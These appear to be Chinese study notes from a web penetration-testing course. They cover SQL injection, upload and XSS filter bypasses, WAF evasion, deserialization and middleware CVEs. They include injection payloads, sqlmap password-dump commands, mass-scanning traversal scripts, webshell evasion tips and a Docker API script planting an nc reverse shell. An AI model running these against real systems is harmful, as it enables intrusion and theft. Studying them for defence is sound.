Day06--加密解密算法
网站查询:cmd5.com
md5:虽然说md5是不可逆,但是md5的解密实际上是枚举的算法(类似于在库中查找明文进行比对)
时间戳:
url编码:%+0-9或a-z组成的两位数。例如‘ ’的url编码是%20
base64:0-9a-zA-Z组成,经常密文后面有一个或两个’=‘,区分大小写,长度随着明文的长度的增加而增加
Unescape:%开始+u+四位的一个数字,与明文中两位相对应
AES解密:密文中常有 / 解密难度强,更安全,需要密码和偏移量
DES解密:字母数字构成,有时密文会有‘+’或‘/’,长度随着明文的长度的增加而增加
Day08--信息收集(架构,搭建,WAF)
#站点搭建分析
目录型站点分析
端口类站点分析
子域名两套CMS(同一服务器/不同服务器【同网关/不同网关】)
类似域名站点
也就是说对于同一网站页面,有不同域名,域名差异可能是前面,也可能是后面
旁注,C段站点
搭建软件特征站点
利用网站抓包,server,如果信息比较全,可能是搭建软件
Day09--信息收集()
heian引擎(fofa.info, shodan.io, zoomeye.org)可以对端口或网站信息的进行扫描
Day11--web漏洞
SQL注入:可以获取或修改数据库相关信息(管理员账号密码等)
目录遍历:可以获取目录下面的文件及文件名,都可以访问(对于目录结构,可以用工具扫描或看源码)
文件上传(高危):可以不受文件格式限制上传文件(通过burpsuite),从而获取对方网站权限,进入后门
Day12--Web漏洞(SQL注入)
SQL注入原理:通过对原有sql语句中参数的传递,将恶意sql语句添加到原有sql语句中,实现自定义查询
MYSQL注入
如何判断注入点?
法1(老方法):and 1 = 1正确 and 1 = 2错误,那么有注入点
法2(新方法):在id后随便加入一些字母,页面不正常,那么有注入点
判断注入:
首先order by查询了有几列数据,然后union看下哪几列数据可以显示出来,然后将能显示的替换成注入语句就可以了
ctfhubSQL注入--整数型(报错回显-》数据库名-》表名-》列名-》数据)
1、1 and 1=1
2、1 and 1=2
3、1 order by 2
4、-1 union select 1,2
5、-1 union select 1,database();
6、-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)
7、-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1)
8、-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)
9、-1 union select 1,(select flag from sqli.flag limit 0,1)
Day13 WEB漏洞--SQL注入之MYSQL注入
相关防注入
魔术引号:
对于防止sql注入,对方会采用magic_quotes_gpc来防止sql注入,导致查询不到用户信息
因此我们可以将路径进行编码转义(因为编码转义可以不用单引号,也就不会触发防范机制)
内置函数:
自定义关键字:
WAF防护软件:
Day15--Web漏洞--SQL注入之Oracle,MongoDB等注入
json注入(类似于键值对类型)补充
对于json的闭合和不闭合要依据sql语句中变量是数字(不闭合)还是字符(闭合),闭合的是单引号
access数据库:采用暴力解法,它没有像mysql等其他数据库的基本操作,可以盲猜或借助工具,查找字典等
MongoDB:MongoDB查询是以列表的形式,也就是说键值对的形式,因此注入MongoDB数据库要考虑前面的符号干扰(例如单引号),还有输入格式的差异
删除.tojson后,输出语句发生变化
Day16--SQL注入之查询方式及报错盲注
mid和substr
补充Access数据库爆破:
Access偏移注入(解决列名获取不到)
从22减到16,6的含义是一个admin表
Day17--Web漏洞--SQL注入之二次加解密,DNS等注入
二次注入:一般在登录,update页面,会牵扯到前端用户界面与数据库内容交互,从而注入漏洞,sqlilabs的24关可以实战
dnslog注入:访问dnslog会有记录,将查询结果外带出来
Day18--Web漏洞--SQL注入之堆叠及WAF绕过注入
堆叠注入:
可以添加一个新用户,正常登录
WAF绕过
当WAF干扰语句执行,可以通过改变提交方式,特殊符号(加上特殊符号后语句与原有数据库内容不匹配,而特殊符号又不影响语句的执行,从而绕过WAF)
例如图中的改get提交方式为post提交,database()改为database/**/()
Day19--Web漏洞--SQL注入之SQLMAP绕过WAF
绕过安全狗的sqlmap流量防护方法:
伪造搜索引擎
sqlmap延迟注入
Day20--WEB漏洞--文件上传之基础及过滤方式
docker漏洞启动:docker-compose up -d 漏洞关闭:service docker stop / docker-compose down
Day21--WEB漏洞--文件上传及后端黑名单绕过
文件类型(content-type / MIME信息),可以抓包修改数据包中content-type的格式来绕过验证
upload-labs
level 2:通过抓包修改文件的MIME值(cotent-type),与文件后缀匹配,从而绕过验证
level 3:运用黑名单,可以利用.php5后缀上传文件,从而绕过验证
level 4:运用.htacess解析,在.htacess文件中,代码内容是将文件名字中含有shana的文件,以php的MIME的格式执行,从而绕过验证
level 5:大小写验证,该文件后缀名大小写,例如Php
level 6:抓包,在文件后缀名后加空格,从而绕过验证,数据包发送到对方系统中,由于命名特性,系统会将文件后缀的空格自动去除,从而绕过验证
level 7(与level 6同理):抓包,在文件后缀名后加‘.’,但系统会自动去除,从而绕过验证
level 8:抓包,在文件后缀名中加 ::$DATA,从而绕过验证
level 9:依据源码,对于文件后缀名点操作是,先去空格,再删除后缀名末尾的一个点,再去空格
所以后缀名php改为php. .
level 10:依据源码可见如果文件后缀名是deny_ext中的,会将后缀名替换为‘ ’,可以抓包将文件后缀名php改为pphphp从而绕过验证
level 11(白名单get提交方式):在文件地址中用%00截断
level 12(白名单post提交方式):在文件地址后用%00截断,由于是post提交方式需要对%00进行
Day22--WEB漏洞--文件上传之内容逻辑数组绕过
level 12(文件包含漏洞):图片马是图片跟php脚本语言的混合,可以手动在图片中注入php代码,也可以用copy一个
配合文件包含漏洞进行注入php代码
level 17:二次渲染:文件上传到服务器后停顿操作,等待下一操作。代码是先将文件上传到服务器,然后进行判断后缀名和重命名操作,所以可以抓包,然后一直发送数据包,同时用浏览器一直访问文件,直到可以显示文件内容
level 20(数组接受+目录命名):
Day23--WEB安全--文件上传之解析漏洞编辑器安全
apache低版本文件解析漏洞(apache2.X版本):
Nginx解析漏洞:判断是否有Nginx解析漏洞,在网站地址后访问网站图片后写入.php后,如果出现错误,则没有该漏洞
Nginx文件名逻辑漏洞:
Day24--WEB漏洞--文件上传之WAF绕过及安全修复
安全狗检测文件后缀名:
数据溢出(垃圾数据后要加分号';'):在name和filename之前插入垃圾数据,从而绕过safedog检测,成功上传文件
符号变异:safedog检测规则,对于filename,检测“”或者‘’里的内容,如果只有一个“或者一个‘或者在filename=后直接写qq.php也可以成功上传文件,例如filename=’qq.php或者”qq.php,就可以绕过匹配规则,成功上传文件
数据截断:safedog识别x.p\nh\np,从而绕过验证
重复数据:借助垃圾数据概念,多写几个从而绕过safedog验证
借助原有数据包中Content-Disposition和name的正常性,复制在filename中,干扰safedog检测,误认为是正常的数据,从而绕过safedog验证
斜杆/也可以绕过safedog验证,safedog误认为斜杠/里是注释
fuzz字典
Day25--WEB漏洞--XSS跨站之原理分类及攻击手法
Day26--WEB漏洞--XSS跨站之订单及shell箱子反杀记
如何判断文件是否有后门:
如果是脚本文件,在网站上访问脚本文件,看一下数据包的发送情况,是否有其他地址的发送情况。
如果是程序软件,用抓包软件对当前进程进行抓包,或者抓当前网络接口数据包。
跨站漏洞攻击:
Day27--WEB漏洞--XSS跨站之代码及httponly绕过
xsslabs:
level 2:注入<script>alert(1);</script>,浏览器自动将<>符号转码,从而导致注入失败,由于注入语句在引号里,因此可以采用闭合手段,注入语句前加上">,成功注入
level 3:页面会对<>进行过滤,因此用html中的onlick属性(可执行一段js代码)
level 5:页面过滤on,将on过滤为o_n "><a href='javascript:alert(1)'>
level 6:页面过滤更多,因此可以才用大小写混用绕过 "><a Href='javasCript:alert(1)'>
level 7:页面不是循环过滤,只过滤一次,所以 "><a HHrefref='javaSCscriptript:alert(1)'>
level 8:先将所有字符全转为小写,由于replace不是替换为空字符,所以不能采用二次过滤的方法,所以采用编码(html形式)的方式绕过
level 9:判断是否有http://
javascript:alert(1)//http://
level 10: &t_sort="type="text"%20οnclick="alert(1)"
其中的type=text作用是出现搜索框
csrf:跨站请求伪造
Day28--WEB漏洞--XSS跨站WAF绕过及安全修复
xssstrike:
Day29--WEB安全--CSRF及SSRF漏洞案例
CSRF漏洞:抓包截取网站用户信息,靶机创建一个访问主机的文件,并修改抓包中用户的数据如果用户在登录到后台的情况下,同时也访问了靶机的ip的地址,就会触发靶机的脚本文件,从而导致主机用户信息被修改
CSRF漏洞与xss跨站的区别在于CSRF是在外站触发脚本代码,而不是在url地址上触发代码
CSRF防御:
设置token:由于token是随机的,如果token对应不上,注入失败
检验referer来源(不安全,可以抓包修改从而绕过验证):通过抓包检测到referer的ip地址跟host的ip地址不对应,导致注入失败
SSRF漏洞:例如主机下A,B两台内网服务器,由于黑客无法直接访问内网服务器,此时主机存在SSRF漏洞,因此黑客可以借助主机,间接访问到A,B服务器,进而进行注入操作
端口扫描:http协议
file协议:file协议是本地协议,可用于读取本地的文件信息
SSRF漏洞中脚本格式和协议的的支持情况
Day30--WEB安全--RCE代码及命令执行漏洞全解
php代码中eval函数是将数据以php的格式执行
system函数是将数据以windows内部代码执行
poc验证漏洞是否存在,exp利用漏洞
echo加反引号`表示命令执行
菜刀原理:把功能性函数写到程序里,利用代码的收发进行控制,@让php函数在错误的情况下也正常执行
Day31--WEB漏洞--文件操作之文件包含漏洞全解
常见写法:
本地包含:
远程包含:.html是限制文件后缀,在路径后加特殊字符绕过验证
伪协议:
php特有的协议
file协议需要完整路径才能正常执行
php://input:
php://filter:将读取结果解密得flag
Day32--WEB漏洞--文件操作之文件下载读取全解
在文件下载漏洞中,config.inc.php记录了网站数据库登陆密码等相关信息(该文件每一个网站基本都有)
下载漏洞判断依据:参数
RoarCTF2019-文件读取真题复现-比赛(知识点)
java语言常用post提交方式
javaweb常有配置文件WEB-INF/web.xml,该文件记录网站配置信息,文件名,路径等
百度杯2017二月-Zone真题复现-比赛(知识点)
module后跟的是文件名,name后跟文件后缀
login=1或0,1表示true,0表示false
小米路由器远程任意文件下载漏洞
supersoft
Day33--WEB漏洞--逻辑越权之水平水平垂直越权全解
水平越权访问(实现同级用户之间的跨越):
垂直越权:
Day34--WEB漏洞--逻辑越权之登录脆弱及支付篡改
http跟https的区别:http的密码一般是明文传输,当然也有密文传输,httpss一般是密文传输,对于明文传输,可以采用暴力破解的方式
http:
https:
cookie脆弱:
如果没有源码,就抓取数据包,看数据包是否有cookie,如果cookie看不出相关信息(类似参数等),就没有cookie脆弱漏洞
有
无
支F篡改:
支F接口:抓取数据包,修改支F接口,相当于将RMB F到其他的支F接口
Day35--WEB漏洞--逻辑越权之找回机制及接口安全
Day36--WEB漏洞--逻辑越权之验证码与Token及接口
Day37--WEB漏洞--反序列化之PHP&java全解
php中serialize()函数unserialize()函数:serialize()函数将对象转化成字符串,unserialize()函数是字符串还原成对象
序列化格式字符串
ctf-php反序列化-无类执行
反序列化代码中有class类时,会调用魔术方法
ctf-php反序列化-有类执行(重点在代码的执行顺序)
==是验证数值,===是验证类型和数值
思路:
Day38--WEB漏洞--反序列化之PHP&java全解
java反序列化
Day39--WEB漏洞--XXE&XML之利用检测绕过全解
各种语言的协议
pikachu靶场--XXE漏洞
dtd文件内写入xml代码,实现绕过和自定义攻击
针对XXE无回显问题
三步:先访问test.txt文件,将其中数据base64编码返回给file变量,再访问test.dtd文件,dtd文件
的内容将变量file赋值给data,进而访问data数据。可以采用日志技术或者写一个x.php文件,将data数据内容导入x.php文件(第三步192.168.0.1:8081/x.php?data=%file;)
最后将所读取到的数据进行base64解码,也就是test.txt的文件数据
access.log日志文件
工具
Day40--java安全--JWT安全及预编译CASE注入等
其中PreparedStatement参数化查询(预编译查询)可以阻止大部分sql注入,因为其数据库操作系统会将sql语句识别成字符串
因为sql语句中存在order by,所以可以使用case when语句从而实现预编译的绕过
判断对方是否有order by:order by在sql语句中作用是排序,因此在对方应用中找是否有排序的相关操作,如果有,就可以断定有order by,否则就没有
JWT(可以理解为一种身份验证)
JWT中header跟claims是base64加密,signature是base64+一个随机密匙
流程
JWT修改伪造攻击
JWT在线解密网站:JSON Web Tokens - jwt.io
无密钥:将header修改为none也就是表示签名不采用加密,因此将签名留空即可
Day41--JAVA安全--目录遍历访问控制XSS等安全问题
思路:
apk是Android的安装文件,apk大多是java开发
apktool用法:apktool d <apk_file_name>.apk
代码审计,对白盒源码的分析,从而绕过
Day42--漏洞发现--操作系统之漏洞探针类型利用修复
相关漏洞关键词介绍:CVSS,CVE, EXP,POC
EXP是利用漏洞,POC是验证漏洞
扫描工具:goby(忍者系统),nmap,Nessus
nmap:
AWVS:
Xray:针对扫描app漏洞,需要采用联动,因为app中的地址链接在网站一般访问不到(空白页面)
bp跟Xray联动(也可以跟AWVS联动)
Xray:
AWVS&bp&Xray三联动
sqlmap:
sqlmap -r http.txt #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://www.xx.com/username/admin*" #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" #探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --cookie="抓取的cookie" #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users #查看数据库的所有用户
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords #查看数据库用户名的密码
nuclei:
借助官方模板
用自己写的模板
Day43--漏洞发现--WEB应用之漏洞探针类型利用修复
Spring Data Commons远程命令执行漏洞(CVE-2018-1273)漏洞利用
漏洞复现在vulhub靶场
靶场ip及端口号为192.168.64.145:8080
抓当前页面的数据包
修改数据包
关闭漏洞:docker-compose down
Day44--漏洞发现--APP应用之漏洞探针类型利用修复
app跟网站的数据包不一样,有些app的页面在网站上无法访问,需要修改数据包才能正常访问
Day45--漏洞发现--API接口服务值漏洞探针类型利用修复
同一个web,在url地址后+上端口,可能是另一个网站
API接口渗透测试
扫描WEB漏洞:AWVS
api接口渗透测试:API 接口渗透测试 - 先知社区 (aliyun.com)
扫描工具:sqlmap操作
-r是读取文件
--batch是默认选择Y,省略回车操作
sqlmap -r http.txt #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" #探测该url是否存在漏洞
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump 当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump 当MySQL>= 5.7时
常规注入操作
工具:AWVS
readyapi soupui swagger-hack
packerfuzzer:针对webpack打包器(html,js),python PackerFuzzer.py -u 网页地址
判断是否有接口:
1、抓取网络数据包,看js文件是否有swagger
2、目录扫描,是否有相关目录
Day46--WAF绕过--信息收集值反爬虫延时代理池技术
2023小迪
Day23--WEB攻防-python考点_CTF与CMS_SSTI模板注入_PYC反编译
Day29--WEB攻防-通用漏洞_SQL注入_增删改查_盲注_延时_布尔_报错
延迟注入
报错注入
xhcms
插入相关操作
要闭合单引号(插入操作)
更新相关操作
Day39--WEB攻防-通用漏洞_CSRF_SSRF_协议玩法_内网探针_漏洞利用
CSRF
条件:1、 目标登录后台 2、目标访问伪造地址 3、攻击者成功伪造后台的功能数据包
CSRF可以设置同源策略检测是否为自己发送的或者自己网站产生的数据包,如果不是则判定为非法来源,从而阻止一部分攻击。但是同源策略并不安全,因为来源Referer可以抓包修改
黑盒如何判定是否有同源策略,登录后台的情况下点击 ’新建文章‘ 访问的地址,在新建窗口直接访问,如果能够访问,那么没有同源策略
3、看关键操作有无验证(可以理解为验证码)
SSRF
相当于让自己输入一个ip地址,服务器去访问,可以进行服务器的探针扫描
Day40--WEB攻防-通用漏洞_CSRF_SSRF_代码审计_同源策略_加载函数
Day41--WEB攻防-通用漏洞_XML_XXE_无回显_DTD实体_伪协议_代码审计
XML参考文章:https://www.cnblogs.com/20175211lyz/p/11413335.html
XML实现文件读取
XML数据包形式
修改数据包实现文件读取
XML实现带外测试(判断漏洞是否存在,可以解决有误回显问题)
dnslog:DNSLog Platform
因此有回显
外部引用和实体
解决无回显数据读取
get.php
修复方案
Day42--WEB攻防-通用漏洞_文件包含LFI_RFI_伪协议编码算法_代码审计
伪协议
data://协议
远程包含
本地包含和远程包含的区别
远程包含条件
利用日志文件
抓取网络接口数据包发现中间件是nginx
再次访问/var/log/nginx/access.log日志文件后拿下flag
session文件包含
不同操作系统、网站的session的目录不固定
session条件竞争(如果访问不及时,一段时间后自动清除)
convert.iconv
Day44-WEB攻防-通用漏洞_RCE_代码执行_命令执行_多层面检测利用
使用system命令
拿到flag
shell_exec自身特殊性,需要搭配eval一起使用 -->(eval shell_exec('xxxx'))
反斜杠 ` ,在php代码中(前提),也可以执行出system效果
参数污染
注意eval,eval() --> 字符串作为PHP代码执行
搭配文件包含,伪协议
Day48--WEB攻防-Py反序列化_链构造_自动审计bandit_魔术方法
反序列化
# 反序列化安全漏洞产生-DEMO
import os
import pickle
class A(object):
def __init__(self, func, arg):
self.func = func
self.arg = arg
print("this is A!")
def __reduce__(self):
print("反序列化调用")
return (self.func, self.arg)
a = A(os.system, ('calc',))
p_a = pickle.dumps(a)
pickle.loads(p_a)
print("=========")
print(p_a)
ctf案例
首先启动靶场5000端口
CTF-CSISN2019华北-JWT&反序列化
Day51--WEB攻防-通用漏洞_验证码识别_复用_调用_找回密码重定向_状态值
phpyun平台--验证码
验证码回显
res修改
基于对服务器跟浏览器的验证结果判断,修改bp抓取返回数据包,修改返回数据包中结果的判定值,如果对方是基于服务器的验证判断,那么无效,如果对方是基于前端浏览器验证判断,那有效
验证码爆破
如果验证码没有次数限制(前提),可以在bp中进行爆破
插件smxiazi/NEW_xp_CAPTCHA: xp_CAPTCHA(瞎跑 白嫖版) burp 验证码 识别 burp插件 (github.com)
Day52--WEB攻防-通用漏洞_弱口令安全_社工字典生成_服务协议_Web应用
抓包分析得,数据包中密码是md5加密,所以采用的字典也应加密
两个变更参数
hrdra(九头蛇)--暴力拆解
服务类:常指中间件,框架,操作系统等
windows最高用户:administrator
支持的服务协议
passfab.com
Day53--WEB攻防-通用漏洞_CRLF注入_URL重定向_资源处理拒绝服务
CRLF
配合XSS
CRLFuzz搭配工具判断
URL重定向
WEB拒绝服务
Day54--WEB通用漏洞-跨域CORS资源_JSONP回调_域名接管劫持
COSP跨域资源
在网站接口寻找callback回调,如果回调中有个人的敏感信息,攻击者就搭建一个网站,接收这些信息,如果用户在登录这个网站的情况下访问攻击者所搭建的网站,这时,这个用户的信息就会被窃取
Day55--服务攻防-数据库安全_Redis_Hadoop_MySQL_未授权访问_RCE
mysql--CVE-2012-2122未授权访问(逻辑漏洞)
循环登录mysql数据库,次数达到上限就登陆成功
hadoop
Redis默认端口6379
Redis未授权访问
Redis沙箱绕过RCE
Day56--服务攻防-数据库安全_H2_Elasticsearch_CouchDB_Influxdb复现
Influxdb未授权访问-JWT验证不当
H2database-未授权访问-配置不当
CouchDB--未授权访问
成功登录后台
CouchDB--任意命令执行
Day59--服务攻防-中间件安全_CVE复现_IIS_Apach_Tomcat_NginxD_
中间件:WEB应用上的一种服务,也称容器或搭建平台
框架:语言所编写的成品的体系
抓包,在数据包中插入php代码,在访问照片的地址后加上/1.php可执行出php效果
先上传1.jpg (注意空格),直接路径是无法访问的,所以抓包修改
Tomcat弱口令
用哥斯拉生成一个jsp码,压缩生成zip文件,将zip文件后缀改为war,上传war文件
Tomcat文件上传(CVE-2017-12615)
直接访问,上传成功,然后用哥斯拉连接即可
Day60--服务攻防-中间件安全_CVE复现_Weblogic_Jenkins_GlassFish
weblogic
JBoss
Jenkins
GlassFish
windows
linux
脚本,搭配fofaviewer,爬虫搜取可用域名
import requests
import time
def read_pass(url):
urls = url+'/theme/META-INF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/domain1/config/admin-keyfile'
try:
result = requests.get(urls, verify=False).text
if 'asadmin' in result:
print(urls + '-> |ok')
except Exception as e:
time.sleep(0.1)
def read_windows(url):
urls = url+'/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini'
try:
result = requests.get(urls, verify=False).status_code
if result == 200:
print(urls + '-> |ok')
except Exception as e:
time.sleep(0.1)
def read_linux(url):
urls = url+'/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
try:
result = requests.get(urls, verify=False).status_code
if result == 200:
print(urls + '-> |ok')
except Exception as e:
time.sleep(0.1)
if __name__ == '__main__':
for url in open('urls.txt'):
url = url.strip()
read_pass(url)
read_windows(url)
read_linux(url)
Day61--服务攻防-中间件安全_CVE复现_K8s_Docker_Jetty_Websphere
K8s(一般漏洞是未授权访问)
判断对方是否为K8s,K8s的某些组件会开放一些特殊端口,在端口扫描的时候,如果扫到有特殊的端口,则估且认为有K8s
K8s爬虫代码,如果没有K8s,网页返回Unauthorized
Docker(逃逸漏洞)
由于docker比较于其他中间件,自身特殊,docker所搭建的环境是虚拟的,与主机环境互不影响,因此要突破虚拟进入真实主机需要逃逸
如何判断提权后是在主机还是在docker镜像
docker daemon api 未授权访问
脚本
import docker
client = docker.DockerClient(base_url='http://47.94.236.117:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 47.94.236.117 5566 -e /bin/sh' >> /tmp/etc/crontabs/xiaodi" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
反弹shell
WebSphere(java开发)
CVE-2015-7450 反序列化
弱口令 WebSphere后台默认管理的端口是9060,http协议端口9080,https协议端口9443
用哥斯拉生成后门jsp文件,然后将jsp文件压缩成zip,修改文件后缀为war,上传到管理后台
上传成功后访问进入后门
Jetty(java开发)敏感信息泄露
Day62--服务攻防-框架安全_CVE复现_Spring_Struts_Laravel_ThinkPHP
根据后缀名判断是否为struts2的框架(.action后缀)
Spring框架漏洞
Day63--服务攻防-框架安全_CVE复现_Django_Flask_Node.JS_JQuery
CVE_2017_14849
漏洞利用:修改请求头,访问etc/passwd目录下的文件
CVE_2021_21315
Penetration Testing Kit
Day64--服务攻防-框架安全_CVE复现_Apache shiro_Apache Solr
Apache-Shior
数据包关键字
CVE-2020-11989
从白盒角度分析漏洞成因
CVE-2020-1957
脚本
import requests
for url in open("shiro.txt"):
url = "http://" + url.strip() + "/;/login"
try:
code = requests.get(url).status_code
print(str(code))
if code == 200:
print(url + "--> |ok")
except Exception as e:
pass
Apache-Solr
CVE-2019-0193(利用条件:登录到后台)
Day67--APP攻防-Frida反证书抓包_移动安全系统_资产提取_评估扫描
对app进行抓包,分情况:
抓不到:1、没走http/s代理 - 用其他协议,全局抓包 2、反代理或证书校验的检测 防抓包的机制
抓得到
查看模拟器的位数
抓取模拟器进程
win+R输入命令:
frida-ps -U
frida-ps -R ,如果执行失败,那么在adb目录进行中转,执行命令
adb forward tcp:27042 tcp:27042,在执行frida-ps -R
r0capture工具
-U 加上app的包名
-p 加上生成的pcap的文件名(pcap是wireshark的提取文件格式)
frida配合脚本进行抓包然后生成.pacp文件,在wireshark中打开分析
appinfo mobsf r0capture(安卓抓包工具) frida
Day68--APP攻防-Xposed_Frida_Hook_证书校验_反代理_代理转发
Day69--APP攻防-反编译_查壳脱壳_重打包签名_修改次数会员版权限制
逆向:
修改次数和VIP限制(smali语法)
Day70--APP攻防-微信小程序_解包反编译_数据抓包_APK信息资源提取
APK Messenger
Day77--WAF攻防-权限控制_代码免杀_异或运算_变量覆盖_混淆加密_传参
php脚本后门(免杀)
由于阿里云会屏蔽eval,所以将eval改成assert
总结
3、异或运算
Day78--WAF攻防--菜刀、冰蝎、哥斯拉、流量通讯、特征绕过、检测放射、感知
主流是机器语言和行为分析,宝塔是正则匹配,不安全,易绕过
payload可以理解为漏洞的利用代码,一段数据
冰蝎的工作原理:
Day79--WAF攻防--漏洞发现&协议&代理池&Goby&AWVS&Xray
针对手动测试,设置代理服务器,只对谷歌浏览器设置代理
用sqlmap检测:
Day80--WAF攻防--漏洞利用&HPP污染&分块传输&垃圾数据
垃圾数据:根据不同平台的差异,用垃圾数据从而实现绕过